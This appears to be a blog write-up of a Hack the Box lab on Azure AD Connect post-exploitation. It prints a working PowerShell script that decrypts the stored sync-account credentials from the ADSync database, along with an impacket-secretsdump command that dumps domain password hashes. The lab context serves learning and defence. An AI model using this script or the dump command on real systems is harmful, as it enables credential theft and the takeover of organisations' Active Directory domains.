Azure AD Connect Post Exploitation for DCSync

I want to share some experience of penetration testing on Hack the box. I am not going to give you a walkthrough about the box, but I would share some knowledge I got related to Azure AD Connect

I am going to explain more on the post exploitation and escalation process after you get low level account

The attack that we are going to achieve in this post-exploitation is to get the account of the synchronizer that created during the agent installation because it has the capabilities to replicate data from your on-premises Active Directory (MSOL_05062a06af04)

Azure AD Connect is a synchronizer of on premisses active directory and cloud active directory that by having this will enable you to either synch your password or pass the cloud authentication to your internal AD. Below is the overview architecture

We understand that from the above architecture AD Connect will use MS-SQL database for its process such as processing metadata and configuration data


As usual, after we got the shell on the box what need to do further is to enumerate the information of the box. I usually use tools to help me on the enumeration is by using winPEAS or Seatbelt.

WinPEAS Result

Seatbelt Result

Based on the above information that we can see that this machine is used as ADSynch server.

The Attack

In order to decrypt the data, We need to firstly retrieve the 3 important keys from the datasebase to allow us to decrypt the data. InstanceID, KeyID, Entropy

We can retrieve the above three items by using this below command

*Evil-WinRM* PS C:\Users\Administrator\Documents> sqlcmd -Q "use ADSync; select instance_id,keyset_id,entropy from mms_server_configuration"
Changed database context to 'ADSync'.
instance_id                          keyset_id   entropy
------------------------------------ ----------- ------------------------------------
1852B527-DD4F-4ECF-B541-EFCCBFF29E31           1 194EC2FC-F186-46CF-B44D-071EB61F49CD

I get the POC script from in order to suite my pentest box to become like below.

function Get-Pass {
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$key_id = 1
$instance_id = [GUID]"1852B527-DD4F-4ECF-B541-EFCCBFF29E31"
$entropy = [GUID]"194EC2FC-F186-46CF-B44D-071EB61F49CD"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=MONTEVERDE;Database=ADSync;Trusted_Connection=true"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

After we run the powershell in the box then we can decrypt the password for this

*Evil-WinRM* PS C:\Users\Administrator\Documents> hack2.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Pass
AD Connect Sync Credential Extract POC (@_xpn_)

Username: administrator
Password: d0m@**********!
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

So with that account is being compromissed then you can basically do further attack which is dumping the NTDS.dit of the AD for futher action

root@net-dragon:~/box/monteverde# impacket-secretsdump -just-dc-ntlm monteverde.local/administrator@
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Cleaning up... 

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s